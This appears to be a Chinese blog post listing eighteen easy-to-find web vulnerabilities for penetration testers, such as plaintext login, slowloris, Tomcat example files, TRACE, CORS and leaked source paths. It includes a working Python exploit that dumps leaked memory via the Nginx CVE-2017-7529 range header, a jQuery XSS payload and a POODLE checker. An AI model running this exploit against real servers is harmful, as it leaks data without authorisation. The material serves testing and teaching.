关于项目里面的硬核漏洞(找不到漏洞看这里)

简介: 关于项目里面的硬核漏洞

  以下漏洞过于硬核又比较相对容易挖掘,毕竟我是实习两年半的低危文档工程师。(可能写的不太全)适合在渗透里面没有找到漏洞,以防尴尬。

1.明文传输

       一段未经过任何加密的数据

挖掘技巧:

       抓取登录口数据包查看

640.png

2.HTTP慢速攻击

   缓慢的http拒绝服务攻击是一种专门针对于Web的应用层拒绝服务攻击,攻击者操纵网络上的肉鸡,对目标Web服务器进行海量http request攻击,直到服务器带宽被打满,造成了拒绝服务。

挖掘技巧:

 

nmap -sV -vv -p80 --script=http-slowloris-check


3.未添加验证码

    没有验证码验证机制,导致可以爆破账户密码。
挖掘技巧:
    检查登录口

640.png

4.绝对路径泄露(版本泄露)

    错误页面由服务器产生403、404、500等错误时,返回详细错误信息。报错信息中可能会包含服务器代码信息、数据库连接信息、SQL语句或者敏感文件的路径,为攻击者收集信息提供了方便。

挖掘技巧:

      640.png 

640.png

640.png

5.Http.sys远程代码执行

         HTTP.sys是Microsoft Windows处理HTTP请求的内核驱动程序,为了优化IIS服务器性能,从IIS6.0引入,IIS服务进程依赖HTTP.sys。HTTP.sys远程代码执行漏洞实质是HTTP.sys的整数溢出漏洞,当攻击者向受影响的Windows系统发送特殊设计的HTTP 请求,HTTP.sys 未正确分析时就会导致此漏洞,成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。

挖掘技巧:

            Burp抓包/扫描器

640.png

6.iis6缓冲区溢出远程代码执行漏洞
       CVE-2017-7269是IIS 6.0中存在的一个栈溢出漏洞,在IIS6.0处理PROPFIND指令的时候,由于对url的长度没有进行有效的长度控制和检查,导致执行memcpy对虚拟路径进行构造的时候,引发栈溢出,该漏洞可以导致远程代码执行。

挖掘技巧:

       扫描器

640.jpg

7.TOMCAT示例文件泄露

     Tomcat默认存在一个管理后台,默认的管理地址是http://IP或域名:端口号/manager/html。通过此后台,可以在不重启Tomcat服务的情况下方便地部署、启动、停止或卸载WEB应用。但是,如果配置不当的话就存在很大的安全隐患。攻击者利用这个弱点可以非常快速、轻松地入侵一台服务器,下面我们来看一个实例。

挖掘技巧:
       访问

/examples/servlets/servlet/SessionExample
/docs/
/examples/servlets/index.html
/examples/jsp/index.htmls

640.jpg

8. 跨站请求追踪

    TRACE作用:客户端发起一个请求时,这个请求可能要穿过防火墙、代理、网关或其他一些应用程序。每个中间节点都可能会修改原始的 HTTP 请求。TRACE 方法允许客户端在 最终将请求发送给服务器时,看看它变成了什么样子。
挖掘技巧:
    当服务器允许trace方法时,就可能存在跨站跟踪攻击。跨站跟踪攻击即CST攻击,是一种利用XSS和HTTP TRACE功能来进行攻击的方式。

640.jpg 

9. 源码泄露

/robots.txt
    /.git/config 
    /.svn/entries
    /.DS_Store

挖掘技巧:

    目录扫描

       640.jpg

10. Flash跨域访问

flash跨域通信,依据的是crossdomain.xml文件。该文件配置在服务端,一般为根目录下,限制了flash是否可以跨域获取数据以及允许从什么地方跨域获取数据。

挖掘技巧:

   访问crossdomain.xml

640.png

11. jQuery版本过低

        因版本过低可导致XSS
挖掘技巧:
          找到jQuery文件

<!DOCTYPE html><html><head><script src="jq地址"></script> <meta charset="utf-8"> <title>JS Bin</title></head><body> JQuery xss Test <script>var img = $("<img onerror='alert(123);'>");img.attr('src','xx');</script></body></html>

640.png

12. HTTP头部攻击

        对Http头部进行污染
挖掘技巧:
          修改数据包

640.png

640.jpg

13. 跨域资源共享(CORS)        跨域资源共享(CORS) 是一种机制,它使用额外的 HTTP 头来告诉浏览器  让运行在一个 origin (domain) 上的Web应用被准许访问来自不同源服务器上的指定的资源。当一个资源从与该资源本身所在的服务器不同的域、协议或端口请求一个资源时,资源会发起一个跨域 HTTP 请求。

挖掘技巧:
          修改数据包

640.png

14. 内网ip泄露
       网页中泄露内网ip

挖掘技巧:
          修改数据包

640.png

15. Nginx整数溢出漏洞CVE-2017-7529        在Nginx的range filter中存在整数溢出漏洞,可以通过带有特殊构造的range的HTTP头的恶意请求引发这个整数溢出漏洞,并导致信息泄露。
挖掘技巧:

import urllib.parse, requests, argparse
global colorama, termcolor
try:
    import colorama, termcolor
    colorama.init(autoreset=True)
except Exception as e:
    termcolor = colorama = None
colored = lambda text, color="", dark=False: termcolor.colored(text, color or "white", attrs=["dark"] if dark else []) if termcolor and colorama else text
class Exploit(requests.Session):
    buffer = set()
    def __init__(self, url):
        length = int(requests.get(url).headers.get("Content-Length", 0)) + 623
        super().__init__()
        self.headers = {"Range": f"bytes=-{length},-9223372036854{776000 - length}"}
        self.target = urllib.parse.urlsplit(url)
    def check(self):
        try:
            response = self.get(self.target.geturl())
            return response.status_code == 206 and "Content-Range" in response.text
        except Exception as e:
            return False
    def hexdump(self, data):
        for b in range(0, len(data), 16):
            line = [char for char in data[b: b + 16]]
            print(colored(" -  {:04x}: {:48} {}".format(b, " ".join(f"{char:02x}" for char in line), "".join((chr(char) if 32 <= char <= 126 else ".") for char in line)), dark=True))
    def execute(self):
        vulnerable = self.check()
        print(colored(f"[{'+' if vulnerable else '-'}] {exploit.target.netloc} is Vulnerable: {str(vulnerable).upper()}", "white" if vulnerable else "yellow"))
        if vulnerable:
            data = b""
            while len(self.buffer) < 0x80:
                try:
                    response = self.get(self.target.geturl())
                    for line in response.content.split(b"\r\n"):
                        if line not in self.buffer:
                            data += line
                            self.buffer.add(line)
                except Exception as e:
                    print()
                    print(colored(f"[!] {type(e).__name__}:", "red"))
                    print(colored(f" -  {e}", "red", True))
                    break
                except KeyboardInterrupt:
                    print()
                    print(colored("[!] Keyboard Interrupted! (Ctrl+C Pressed)", "red"))
                    break
                print(colored(f"[i] Receiving Data [{len(data)} bytes] ..."), end = "\r")
            if data:
                print()
                self.hexdump(data)
if __name__ == "__main__":
    parser = argparse.ArgumentParser(prog = "CVE-2017-7529",
                                     description = "Nginx versions since 0.5.6 up to and including 1.13.2 are vulnerable to integer overflow vulnerability in nginx range filter module resulting into leak of potentially sensitive information triggered by specially crafted request.",
                                     epilog = "By: en0f")
    parser.add_argument("url", type = str, help = "Target URL.")
    parser.add_argument("-c", "--check", action = "store_true", help = "Only check if Target is vulnerable.")
    args = parser.parse_args()
    try:
        exploit = Exploit(args.url)
        if args.check:
            vulnerable = exploit.check()
            print(colored(f"[{'+' if vulnerable else '-'}] {exploit.target.netloc} is Vulnerable: {str(vulnerable).upper()}", "white" if vulnerable else "yellow"))
        else:
            try:
                exploit.execute()
            except Exception as e:
                print(colored(f"[!] {type(e).__name__}:", "red"))
                print(colored(f" -  {e}", "red", True))
    except KeyboardInterrupt:
        print(colored("[!] Keyboard Interrupted! (Ctrl+C Pressed)", "red"))
    except Exception as e:
        print(colored(f"[!] {urllib.parse.urlsplit(args.url).netloc}: {type(e).__name__}", "red"))

16. iis短文件
   为了兼容16位MS-DOS程序,Windows为文件名较长的文件(文件夹)生成了对应的windows8.3短文件名。
挖掘技巧:
     现有工具

640.png

17. 短信炸弹
       在接收短信处都有可能存在短信轰炸漏洞
挖掘技巧:
       重复发送数据包

640.jpg

18. SSL/tls1.0贵宾犬
       nmap扫描可检测
挖掘技巧:

import ssl,socket,sys
SSL_VERSION={
    'SSLv2':ssl.PROTOCOL_SSLv2,
    'SSLv3':ssl.PROTOCOL_SSLv3,
    'SSLv23':ssl.PROTOCOL_SSLv23,
    'TLSv1':ssl.PROTOCOL_TLSv1,
}
def check_ssl_version(version):
    try:
        https = ssl.SSLSocket(socket.socket(),ssl_version=SSL_VERSION.get(version))
        c = https.connect((ip,port))
        print version + ' Supported'
        return True
    except Exception as e:
        return False
USAGE = '==========\nKPoodle - SSL version and poodle attack vulnerability detect tool\n==========\nUsage: python kpoodle.py target port(default:443)\n\nby kingx'
try:
    ip = sys.argv[1]
except:
    print USAGE
    sys.exit()
try:
    port = int(sys.argv[2])
except:
    port = 443
try:
    print 'Connecting...'
    s = socket.socket().connect((ip,port))
except Exception as e:
    print e
    print 'Can not connect to the target!'
    sys.exit()
try:
    print 'Checking...'
    ssl3 = check_ssl_version('SSLv3')
    ssl2 = check_ssl_version('SSLv2')
    ssl23 = check_ssl_version('SSLv23')
    tls = check_ssl_version('TLSv1')
    if ssl3:
        print '\nSSLv3 Poodle Vulnerable!'
    else:
        print '\nNo SSLv3 Support!'
except Exception as e:
    print e

640.png

相关文章
|
4月前
|
安全
某留学网站被植入利用 PPStream 堆栈漏洞的代码
某留学网站被植入利用 PPStream 堆栈漏洞的代码
|
7月前
|
Web App开发 安全 JavaScript
心得经验总结:漏洞复现CVE
心得经验总结:漏洞复现CVE
51 0
|
8月前
|
云安全 安全 中间件
如何确认网站是否有漏洞,如何找出网站存在的漏洞,找到漏洞该如何处理
如何确认网站是否有漏洞,如何找出网站存在的漏洞,找到漏洞该如何处理
如何确认网站是否有漏洞,如何找出网站存在的漏洞,找到漏洞该如何处理
|
SQL 安全 数据库
WordPress插件中的流行的严重错误发布的PoC漏洞
WordPress插件中的流行的严重错误发布的PoC漏洞
|
XML 存储 安全
|
SQL 移动开发 供应链
网站代码审计漏洞查找技术是如何炼成的?
常常许多人问过那样一个难题,网络黑客是确实那么强大吗?就现阶段来讲,在黑客游戏或影视剧中,网络黑客所展现的工作能力与实际是相差无异的(黑客帝国此类种类以外)。唯一的差别是影视剧中的主人公可以瞬间控制供电系统,导致大城市电力工程偏瘫。走在路上任意监听所有人。
375 0
网站代码审计漏洞查找技术是如何炼成的?
|
安全 搜索推荐 Linux
网站漏洞测试 干货学习经验分享
对新知识的学习,应该明确三点:学些什么?怎样去学?三是及时复习。本文以这三点为基础,围绕信息安全学习过程展开论述。大型目标点,在新知识的学习中,明确学习目标是第一件要做的事,有目标才知道自己该往哪里走。但是对新人来说,在无人指导的情况下,明确目标这一步会比较迷茫,所以个人建议如下:
142 0
网站漏洞测试 干货学习经验分享
|
SQL 安全 关系型数据库
ecshop 全系列版本通杀漏洞 远程代码执行sql注入漏洞
ecshop漏洞于2018年9月12日被某安全组织披露爆出,该漏洞受影响范围较广,ecshop2.73版本以及目前最新的3.0、3.6、4.0版本都受此次ecshop漏洞的影响,主要漏洞是利用远程代码执行sql注入语句漏洞,导致可以插入sql查询代码以及写入代码到网站服务器里,严重的可以直接获取服务器的管理员权限,甚至有些网站使用的是虚拟主机,可以直接获取网站ftp的权限,该漏洞POC已公开,使用简单,目前很多商城网站都被攻击,危害较大,针对于此我们SINE安全对该ECSHOP漏洞的详情以及如何修复网站的漏洞,及如何部署网站安全等方面进行详细的解读。
547 0
ecshop 全系列版本通杀漏洞 远程代码执行sql注入漏洞
|
存储 安全 数据安全/隐私保护
安全漏洞潜伏十四年,你的 Google 账号还好吗?
安全漏洞存在了十四年之久至今才被发现,这确实会让人感到不安。
1299 0
|
安全 Windows 数据库
带你读《从实践中学习Metasploit 5渗透测试》之二:获取漏洞信息
本书基于Metasploit的5.0版,首先系统地讲解了各个平台下的环境构建方式;然后按照渗透测试流程,依次讲解了Metasploit在漏洞获取、项目准备和实施攻击环节的使用方式。 接着借鉴了专业渗透测试规范,专门介绍了如何使用Metasploit的工作区进行渗透测试项目的管理和信息维护;最后基于Windows、Linux和Android系统讲解典型模块的应用方式。